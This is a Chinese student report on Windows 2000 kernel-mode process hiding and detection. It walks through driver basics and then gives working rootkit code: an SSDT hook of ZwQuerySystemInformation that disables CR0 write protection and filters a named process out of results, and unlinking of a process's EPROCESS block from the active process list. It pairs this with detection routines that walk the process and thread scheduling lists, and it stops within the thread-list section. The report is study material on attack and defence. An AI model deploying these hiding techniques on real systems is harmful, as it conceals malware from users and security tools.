Windows2000 内核级进程隐藏、侦测技术

    技术2022-05-11  2

    Windows2000 内核级进程隐藏、侦测技术

                                                                                           指导老师:龙老师

                                                                                           学生:LionDB        学号:0137506

    摘要

           信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。

     

     

         

    关键字:

    内核, 拦截, 活动进程链表, 系统服务派遣表, 线程调度链

    Abstract

           Nowadays, information opposability is a very important development aspect in computer techniqueIn order to defense better, we must to deeply know army intrusion system by various methodsInformation opposability technology cause Information technology development at very fast speedThen I choose process hiding and detection in windows kernel model as my topic for particular discussionIt is a very small part of information opposability technology only

     

     

         

    KeyWord:

    Kernel, Hook, Active Process Link, System Service Dispath Table, Dispatcher Thread Link

    目录

    1. 驱动程序简介

        1.1 为什么选驱动程序

        1.2 入口例程DriverEntry

        1.3 Unload例程

        1.4派遣例程

        1.5驱动程序的安装

    2. 通过Hook SSDT (System Service Dispath Table) 隐藏进程

           2.1   原理介绍        2.2   Hook 2.3   对NtQuerySystemInformation返回的数据进行删改 2.4   核心实现 3.    枚举和修改活动进程链表来检测和隐藏进程        3.1   介绍EPROCESS块(进程执行块)        3.2   查看EPROCESS结构        3.3   什么是活动进程链表        3.4   进程枚举检测Hook SSDT隐藏的进程        3.5   解决硬编码问题        3.6   删除活动进程链表实现进程隐藏 4.    基于线程调度链表的检测和隐藏技术        4.1   什么是ETHREAD和KTHREAD块        4.2   线程调度        4.3   通过线程调度链表进行隐藏进程的检测        4.4   绕过内核调度链表隐藏进程        4.5   检测绕过内核调度链表隐藏进程 5.    Hook 内核函数(KiReadyThread)检测进程        5.1   介绍通用Hook内核函数的方法        5.2   检测隐藏进程 6.    结论

          

     

     

         

    驱动程序简介

     

     

         

    1.为什么选驱动程序

    驱动程序是运行在系统信任的Ring0环境下在代码,她拥有对系统任何软件和硬件的访问权限。这意味着内核驱动可以访问所有的系统资源,可以读取所有的内存空间,而且也被允许执行CPU的特权指令,如,读取CPU控制寄存器的当前值等。而处于用户模式下的程序如果试图从内核空间中读取一个字节或者试图执行像MOV EAX,CR3这样的汇编指令都会被立即终止掉。不过,这种强大的底线是驱动程序的一个很小的错误就会让整个系统崩溃。所以对隐藏和反隐藏技术来说都提供了一个极好的环境。但是又对攻击者和反查杀者提出了更高的技术要求。

     

     

         

    2.入口例程DriverEntry

           DriverEntry是内核模式驱动程序主入口点常用的名字,她的作用和main,WinMain,是一样的。

    extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {  ... }

    DriverEntry的第一个参数是一个指针,指向一个刚被初始化的驱动程序对象,该对象就代表你的驱动程序,DriverEntry的第二个参数是设备服务键的键名。DriverEntry函数返回一个NTSTATUS值。NTSTATUS实际就是一个长整型,但你应该使用NTSTATUS定义该函数的返回值而不是LONG,这样代码的可读性会更好。大部分内核模式支持例程都返回NTSTATUS状态代码,你可以在DDK头文件NTSTATUS.H中找到NTSTATUS的代码列表。

    DriverEntry的作用主要就是创建设备对象,建立设备对象的符号链接,设置好各个类型的回调函数等。

    例如:

    extern "C"

    NTSTATUS

    DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

    {

     DriverObject->DriverUnload = DriverUnload;                                                             <--1

     DriverObject->DriverExtension->AddDevice = AddDevice;

     DriverObject->DriverStartIo = StartIo;

     DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp;                                        <--2

     DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;

     DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;

     ...

    }

    在WDM中通过设置AddDevice回调函数来创建设备对象。在NT驱动中在DriverEntry例程中创建设备对象和符号链接。

    例如:

    RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化设备名字//创建设备

    ntStatus = IoCreateDevice (DriverObject,     

                                0,

                                &deviceNameUnicodeString,

                                ##DeviceId,

                                0,

                                FALSE,

                                &deviceObject

                                ); if ( NT_SUCCESS ( ntStatus ) )  {

        RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符号链接名字

    //创建符号链接    ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);    if ( !NT_SUCCESS ( ntStatus ) ) {

            IoDeleteDevice (deviceObject); //如果创建符号链接失败,删除设备             return ntStatus;

    }

    }

    建立符号链接的作用就是暴露一个给应用程序的接口,应用程序可以通过CreateFile API打开链接符号,得到一个语柄,和我们的驱动程序进行交互操作。

     

     

         

    3.Unload例程

    虽然各个驱动程序的Unload例程不尽相同,但是它大致执行下列工作:

    释放属于驱动程序的任何硬件。

    从Win32的名字空间移除符号连接名。

    这个动作可以调用IoDeleteSymbolicLink来实现。

    使用IoDeleteDevice移除设备对象。

    释放驱动程序持有的任何缓冲池等。

    VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )

    {

    PDEVICE_OBJECT pNextObj;

    // 循环每一个驱动过程控制的设备

    pNextObj = pDriverObject->DeviceObject;

    while (pNextObj != NULL)

    {

    //从设备对象中取出设备Extension

    PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;

    // 取出符号连接名

    UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;

    IoDeleteSymbolicLink(&pLinkName); //删除符号连接名

    IoDeleteDevice(pNextObj); // 删除设备

    pNextObj = pNextObj->NextDevice;

    }

    }

     

     

         

    4. 派遣例程

    Win2000I/O请求是包驱动的,当一个I/O请求开始,I/O管理器先创建一个IRP去跟踪这个请求,另外,它存储一个功能代码在IRPI/O堆栈区的MajorField域中来唯一的标识请求的类型。MajorField域是被I/O管理器用来索引驱动程序对象的MajorFunction表,这个表包含一个指向一个特殊I/O请求的派遣例程的功能指针,如果驱动程序不支持这个请求,MajorFunction表就会指向I/O管理器函数_IopInvalidDeviceRequest,该函数返回一个错误给原始的调用者。驱动程序的作者有责任提供所有的驱动程序支持的派遣例程。所有的驱动程序必须支持IRP_MJ_CREATE功能代码,因为这个功能代码是用来响应Win32用户模式的CreateFile调用,如果不支持这功能代码,Win32程序就没有办法获得设备的句柄,类似的,驱动程序必须支持IRP_MJ_CLOSE功能代码,因为它用来响应Win32用户模式的CloseHandle调用。顺便提一下,系统自动调用CloseHandle函数,因为在程序退出的时候,所有的句柄都没有被关闭。

     

     

         

    static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

    {

        NTSTATUS status;

        PIO_STACK_LOCATION irpSp;

        //得到当前IRP (I/O请求包)

        irpSp = IoGetCurrentIrpStackLocation( Irp );

        switch (irpSp->MajorFunction)

        {

            case IRP_MJ_CREATE:

                DbgPrint("IRP_MJ_CREATE/n");

                Irp->IoStatus.Status = STATUS_SUCCESS;

                Irp->IoStatus.Information = 0L;

                break;

            case IRP_MJ_CLOSE:

                DbgPrint("IRP_MJ_CLOSE/n");

                Irp->IoStatus.Status = STATUS_SUCCESS;

                Irp->IoStatus.Information = 0L;

                break;

        }

        IoCompleteRequest(Irp, 0);

        return STATUS_SUCCESS;

    }

        大部分的I/O管理器的操作支持一个标准的读写提取,IRP_MJ_DEVICE_CONTROL允许扩展的I/O请求,使用用户模式的DeviceIoControl函数来调用,I/O管理器创建一个IRP,这个IRP的MajorFunction和IoControlCode是被DeviceIoControl函数指定其内容。传递给驱动程序的IOCTL遵循一个特殊的结构,它有32-bit大小,DDK包含一个方便的产生IOCTL值的机制的宏,CTL_CODE。可以使用CTL_CODE宏来定义我们自己的IOCTL。

    例如:

    #define IOCTL_MISSLEDEVICE_AIM  CTL_CODE /

    ( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )

     

     

         

    NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )

    {

        NTSTATUS status = STATUS_SUCCESS;     

        PDEVICE_EXTENSION pDE;

        PVOID userBuffer;

        ULONG inSize;

        ULONG outSize;

        ULONG controlCode;                 // IOCTL请求代码

        PIO_STACK_LOCATION pIrpStack;   //堆栈区域存储了用户缓冲区信息

     

     

         

        pIrpStack = IoGetCurrentIrpStackLocation( pIrp );

        // 取出IOCTL请求代码

        controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;

        // 得到请求缓冲区大小

        inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;

        OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;

        //现在执行二次派遣

        switch (controlCode)

        {

            case IOCTL_MISSLEDEVICEAIM:

           ......

            case IOCTL_DEVICE_LAUNCH:

            ......

            default:    // 驱动程序收到了未被承认的控制代码

            status = STATUS_INVALID_DEVICE_REQUEST;

        }

        pIrp->IoStatus.Information = 0; // 数据没有传输

        IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;     

        return status;

    }

     

     

         

    5.驱动程序的安装

        SC管理器(即服务控制管理器)可以控制服务和驱动程序。

        加载和运行一个服务需要执行的典型操作步骤:

        1.调用OpenSCManager()以获取一个管理器句柄

        2.调用CreateService()来向系统中添加一个服务

        3.调用StartService()来运行一个服务

        4.调用CloseServiceHandle()来释放管理器或服务句柄

     

     

         

    BOOL    InstallDriver()

    {

        SC_HANDLE hSCManager = NULL;

        hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

        if(hSCManager == NULL)

        {

    fprintf(stderr, "OpenSCManager() failed. --err: %d/n", GetLastError());

            return FALSE;

        }

        SC_HANDLE schService;

    schService = CreateService( hSCManager, //SCManager database

                               "MyDriver",             // name of service

                                "MyDriver",             // name to display

                                SERVICE_ALL_ACCESS,     // desired access

                                SERVICE_KERNEL_DRIVER,   // service type

                                SERVICE_AUTO_START,    // start type

                                SERVICE_ERROR_NORMAL, // error control type

                                DriverPath,              // service's binary

                                NULL,                 // no load ordering group

                                NULL,                    // no tag identifier

                                NULL,                    // no dependencies

                                NULL,                    // LocalSystem account

                                NULL                     // no password

                                );

        if (schService == NULL)

        {

            if(GetLastError() == ERROR_SERVICE_EXISTS)

            {

                printf("Service has already installed!/n");

            }

            printf("Install driver false!");

            return FALSE;

        }

        BOOL    nRet = StartService(schService, 0, NULL);

        if(!nRet)

        {

            if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)

            {

                printf("Service is already running!/n");

                return FALSE;

            }

        }

    CloseServiceHandle(schService);

        CloseServiceHandle(hSCManager);

        return TRUE;

    }

     

     

         

    以上对驱动程序大致框架做了一个非常简单的介绍,这仅仅是驱动程序中的一个”Hello World!”。驱动程序是相当复杂的,由于我们只是利用驱动程序的特权,对windows内核进行修改,所以就不对驱动驱动程序进行深入讨论了。

     

     

         

    通过Hook SSDT (System Service Dispath Table) 隐藏进程

     

     

          1.原理介绍:

           Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下:

    typedef struct SystemServiceDescriptorTable{    UINT    *ServiceTableBase;    UINT    *ServiceCounterTableBase;    UINT    NumberOfService;    UCHAR    *ParameterTableBase;}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

    其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。

    我们的任务管理器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法:

    • PSAPI

    – EnumProcesses()

    • ToolHelp32

    – Process32First()

    - Process32Next()

    来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。

     

     

         

    2. Hook

    Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。

    OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

    KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

    在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:

    kd> u ZwQuerySystemInformation

    804011aa    b897000000      mov         eax,0x97

    804011af    8d542404        lea         edx,[esp+0x4]

    804011b3    cd2e            int         2e

    804011b5    c21000          ret         0x10

    所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。例如:

    ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

    RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

    ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;

     

     

         

    3.对NtQuerySystemInformation返回的数据进行删改

    NtQuerySystemInformation的原型:

    NtQuerySystemInformation(

            IN ULONG SystemInformationClass,   //查询系统服务类型

            IN PVOID SystemInformation,        //接收系统信息缓冲区

            IN ULONG SystemInformationLength,   //接收信息缓冲区大小

            OUT PULONG ReturnLength);       //实际接收到的大小

    NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。

    struct _SYSTEM_PROCESSES

    {

        ULONG NextEntryDelta;   //下一个进程信息的偏移量,如果为0表示无一个进程信息

        ULONG ThreadCount;     //线程数量

        ULONG Reserved[6];     //

        LARGE_INTEGER CreateTime;      //创建进程的时间

        LARGE_INTEGER UserTime;         //进程中所有线程在用户模式运行时间的总和

        LARGE_INTEGER KernelTime;      //进程中所有线程在内核模式运行时间的总和

        UNICODE_STRING ProcessName;     //进程的名字

        KPRIORITY BasePriority;         //线程的缺省优先级

        ULONG ProcessId;                //进程ID号

        ULONG InheritedFromProcessId;  //继承语柄的进程ID号

        ULONG HandleCount;              //进程打开的语柄数量   

        ULONG Reserved2[2];             // 

        VM_COUNTERS VmCounters;         //虚拟内存的使用情况统计

        IO_COUNTERS IoCounters;         //IO操作的统计,Only For 2000

        struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组

    };

    当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。

     

     

         

    4. 核心实现

    //系统服务表入口地址

    extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

    {

        ……

        __asm{

            mov eax, cr0

            mov CR0VALUE, eax

            and eax, 0fffeffffh //DisableWriteProtect

            mov cr0, eax

        }

        //取得原来ZwQuerySystemInformation的入口地址

    RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

        //Hook

    ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

        //EnableWriteProtect

        __asm

        {

            mov eax, CR0VALUE

            mov cr0, eax

        }

        ……

        return STATUS_SUCCESS;

    }

     

     

         

    VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

    {

        ……

        //UnHook恢复系统服务的原始入口地址

    ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

        ……

    }

     

     

         

    NTSTATUS HookFunc(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength)

    {

        NTSTATUS rc;

        struct _SYSTEM_PROCESSES *curr;

        // 保存上一个进程信息的指针

        struct _SYSTEM_PROCESSES *prev = NULL;

        //调用原函数

        rc = (RealZwQuerySystemInformation) (

            SystemInformationClass,

            SystemInformation,

            SystemInformationLength, ReturnLength);

        if(NT_SUCCESS(rc))

        {

    if(5 == SystemInformationClass)

    //如果系统查询类型是SystemProcessesAndThreadsInformation

            {

                curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

                //加第一个偏移量得到第一个system进程的信息首地址

                if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

                while(curr)

                {

    if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                    {

                        //找到要隐藏的进程

                        if(prev)

                        {

                           

                            if(curr->NextEntryDelta)

                            {

                                //要删除的信息在中间

                                prev->NextEntryDelta += curr->NextEntryDelta;

                            }

                            else

                            {

                                //要删除的信息在末尾

                                prev->NextEntryDelta = 0;

                            }

                        }

                        else

                        {

                            if(curr->NextEntryDelta)

                            {

                                //要删除的信息在开头

                                (char *)SystemInformation += curr->NextEntryDelta;

                            }

                            else

                            {

                                SystemInformation = NULL;

                            }

                        }

                        //如果链下一个还有其他的进程信息,指针往后移

                        if(curr->NextEntryDelta)

    ((char*)curr+=curr->NextEntryDelta);                    else

                        {

                            curr = NULL;

                            break;

                        }

                    }

                    if(curr != NULL)

                    {

                        //把当前指针设置成前一个指针,当前指针后移

                        prev = curr;

                        if(curr->NextEntryDelta)

    ((char*)curr+=curr->NextEntryDelta);

                        else curr = NULL;

                    }

                } // end while(curr)

            }

        }

        return rc;

    }

    通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,

    DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

    NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。

     

     

         

    枚举和修改活动进程链表来检测和隐藏进程

    1. 介绍EPROCESS块(进程执行块)

    每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。

     

     

         

    2. 查看EPROCESS结构

    kd> !processfields

    !processfields

     EPROCESS structure offsets:

        Pcb:                               0x0

        ExitStatus:                        0x6c

        LockEvent:                         0x70

        LockCount:                         0x80

        CreateTime:                        0x88

        ExitTime:                          0x90

        LockOwner:                         0x98

        UniqueProcessId:                   0x9c

        ActiveProcessLinks:                0xa0

        QuotaPeakPoolUsage[0]:             0xa8

        QuotaPoolUsage[0]:                 0xb0

        PagefileUsage:                     0xb8

        CommitCharge:                      0xbc

        PeakPagefileUsage:                 0xc0

        PeakVirtualSize:                   0xc4

        VirtualSize:                       0xc8

        Vm:                                0xd0

        DebugPort:                         0x120

        ExceptionPort:                     0x124

        ObjectTable:                       0x128

        Token:                             0x12c

        WorkingSetLock:                    0x130

        WorkingSetPage:                    0x150

        ProcessOutswapEnabled:             0x154

        ProcessOutswapped:                 0x155

        AddressSpaceInitialized:           0x156

        AddressSpaceDeleted:               0x157

        AddressCreationLock:               0x158

        ForkInProgress:                    0x17c

        VmOperation:                       0x180

        VmOperationEvent:                  0x184

        PageDirectoryPte:                  0x1f0

        LastFaultCount:                    0x18c

        VadRoot:                           0x194

        VadHint:                           0x198

        CloneRoot:                         0x19c

        NumberOfPrivatePages:              0x1a0

        NumberOfLockedPages:               0x1a4

        ForkWasSuccessful:                 0x182

        ExitProcessCalled:                 0x1aa

        CreateProcessReported:             0x1ab

        SectionHandle:                     0x1ac

        Peb:                               0x1b0

        SectionBaseAddress:                0x1b4

        QuotaBlock:                        0x1b8

        LastThreadExitStatus:              0x1bc

        WorkingSetWatch:                   0x1c0

        InheritedFromUniqueProcessId:      0x1c8

        GrantedAccess:                     0x1cc

        DefaultHardErrorProcessing         0x1d0

        LdtInformation:                    0x1d4

        VadFreeHint:                       0x1d8

        VdmObjects:                        0x1dc

        DeviceMap:                         0x1e0

        ImageFileName[0]:                  0x1fc

        VmTrimFaultValue:                  0x20c

        Win32Process:                      0x214

    Win32WindowStation:                0x1c4

     

     

         

    3. 什么是活动进程链表

    EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY机构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

    在PspCreateProcess内核API中能清晰的找到:

    InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

    当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。

    在PspExitProcess内核API中能清晰的找到:

    RemoveEntryList(&Process->ActiveProcessLinks);

    所以我们完全可以利用活动进程链表来对进程进行枚举。

     

     

         

    4. 进程枚举检测Hook SSDT隐藏的进程。

        事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得PsActiveProcessHead的地址为: 0x8046e460.(在2000 sp4中得到的值)

    kd> dd PsActiveProcessHead L 2

    dd PsActiveProcessHead L 2

    8046e460 81829780 ff2f4c80

     

     

         

     

     

         

    PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;

    void DisplayList()

    {

    PLIST_ENTRY List = PsActiveProcessHead->Blink;

    while( List != PsActiveProcessHead )

    {

            char* name = ((char*)List-0xa0)+0x1fc;

            DbgPrint("name = %s/n",name);

            List=List->Blink;              

    }

    }

    首先把List指向表头后的第一个元素。然后减去0xa0,因为这个时候List指向的并不是EPROCESS块的头,而是指向的它的ActiveProcessLinks成员结构,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要减去这么多,得到EPROCESS的头部。在EPROCESS偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在Dbgview中打印出来。利用Hook SSDT隐藏的进程很容易就被查出来了。

     

     

         

    5.       解决硬编码问题。

    在上面我们的PsActiveProcessHead是通过硬编码的形式得到的,在不同的系统中这

    值不一样。在不同的SP版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个PsActiveProcessHead的硬编码的问题。

        ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS。这个结构成员EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.

    kd> dd PsInitialSystemProcess L 1

    dd PsInitialSystemProcess L 1

    8046e450 818296e0

    kd> !process 818296e0 0

    !process 818296e0 0

    PROCESS 818296e0 SessionId: 0 Cid: 0008    Peb: 00000000 ParentCid: 0000

        DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.

    Image: System

    可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.

    kd> dd 818296e0+0xa0 L 2

    dd 818296e0+0xa0 L 2

    81829780 814d1a00 8046e460

    上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我们的PsActiveProcessHead.

     

     

         

    6.       删除活动进程链表实现进程隐藏

    由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。

    void DelProcessList()

    {

        PLIST_ENTRY List = PsActiveProcessHead->Blink;

        while( List != PsActiveProcessHead )

        {

            char* name = ((char*)List-0xa0)+0x1fc;     

            if ( !_stricmp(name,"winlogon.exe") )

            {

                DbgPrint("remove %s /n",name);

                RemoveEntryList(List);

            }

            List=List->Blink;              

        }

    }

    首先和上面的程序一样得到PsActiveProcessHead 头的后面第一个EPROCESS块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把EPROCESS块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的EPROCESS块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。

     

     

         

     

     

         

    基于线程调度链表的检测和隐藏技术

    1.       什么是ETHREAD和KTHREAD块

    Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空

    间,进程环境块(TEB)除外。ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。在KTHREAD块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。

    kd> !kthread

    struct   _KTHREAD (sizeof=432)

    +000 struct   _DISPATCHER_HEADER Header

    +010 struct   _LIST_ENTRY MutantListHead

    +018 void     *InitialStack

    +01c void     *StackLimit

    +020 void     *Teb

    +024 void     *TlsArray

    +028 void     *KernelStack

    +02c byte     DebugActive

    +02d byte     State

    +02e byte     Alerted[2]

    +030 byte     Iopl

    +031 byte     NpxState

    +032 char     Saturation

    +033 char     Priority

    +034 struct   _KAPC_STATE ApcState

    +034    struct   _LIST_ENTRY ApcListHead[2]

    +044    struct   _KPROCESS *Process

    +04c uint32   ContextSwitches

    +050 int32    WaitStatus

    +054 byte     WaitIrql

    +055 char     WaitMode

    +056 byte     WaitNext

    +057 byte     WaitReason

    +058 struct   _KWAIT_BLOCK *WaitBlockList

    +05c struct   _LIST_ENTRY WaitListEntry

    +064 uint32   WaitTime

    +068 char     BasePriority

    +069 byte     DecrementCount

    +06a char     PriorityDecrement

    +06b char     Quantum

    +06c struct   _KWAIT_BLOCK WaitBlock[4]

    +0cc void     *LegoData

    +0d0 uint32   KernelApcDisable

    +0d4 uint32   UserAffinity

    +0d8 byte     SystemAffinityActive

    +0d9 byte     PowerState

    +0da byte     NpxIrql

    +0db byte     Pad[1]

    +0dc void     *ServiceTable

    +0e0 struct   _KQUEUE *Queue

    +0e4 uint32   ApcQueueLock

    +0e8 struct  _KTIMER Timer

    +110 struct   _LIST_ENTRY QueueListEntry

    +118 uint32   Affinity

    +11c byte     Preempted

    +11d byte     ProcessReadyQueue

    +11e byte     KernelStackResident

    +11f byte     NextProcessor

    +120 void     *CallbackStack

    +124 void     *Win32Thread

    +128 struct   _KTRAP_FRAME *TrapFrame

    +12c struct   _KAPC_STATE *ApcStatePointer[2]

    +134 char     PreviousMode

    +135 byte     EnableStackSwap

    +136 byte     LargeStack

    +137 byte     ResourceIndex

    +138 uint32   KernelTime

    +13c uint32   UserTime

    +140 struct   _KAPC_STATE SavedApcState

    +158 byte     Alertable

    +159 byte     ApcStateIndex

    +15a byte     ApcQueueable

    +15b byte     AutoAlignment

    +15c void     *StackBase

    +160 struct   _KAPC SuspendApc

    +190 struct   _KSEMAPHORE SuspendSemaphore

    +1a4 struct   _LIST_ENTRY ThreadListEntry

    +1ac char     FreezeCount

    +1ad char     SuspendCount

    +1ae byte     IdealProcessor

    +1af byte     DisableBoost

    在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个ApcState成员结构,在ApcState中的Process域就是指向当前线程关联的进程的KPROCESS块,由于KPROCESS块是EPROCESS块的第一个元素,所以找到了KPROCESS块指针也就是找到了EPROCESS块的指针。找到了EPROCESS就不用多少了,就可以取得当前线程的进程的名字,ID号等。

     

     

         

    2.       线程调度

    在windows系统中,线程调度主要分成三条主要的调度链表。分别是KiWaitInListHead,

    KiWaitOutListhead,KiDispatcherReadyListHead,分别是两条阻塞链,一条就绪链表,当线程获得CPU执行的时候,系统分配一个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根据其优先级载入到相应的就绪队列末尾。KiDispatcherReadyListHead是一个数组链的头部,在windows 2000中它包含有32个队列,分别对应线程的32个优先级。如果线程因为同步,或者是对外设请求,那么阻塞线程,让出CPU的所有权,加如到阻塞队列里面去。CPU从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。

     

     

         

    3.       通过线程调度链表进行隐藏进程的检测

    void DisplayList(PLIST_ENTRY ListHead)

    {

        PLIST_ENTRY List = ListHead->Flink;

        if ( List == ListHead )

        {

        // DbgPrint("return/n");

            return;

        }

        PLIST_ENTRY NextList = List;

        while ( NextList != ListHead )

        {

            PKTHREAD Thread = ONTAINING_RECORD(NextList, KTHREAD, WaitListEntry);

            PKPROCESS Process = Thread->ApcState.Process;

            PEPROCESS pEprocess = (PEPROCESS)Process;

            DbgPrint("ImageFileName = %s /n",pEprocess->ImageFileName);

            NextList = NextList->Flink;

        }

    }

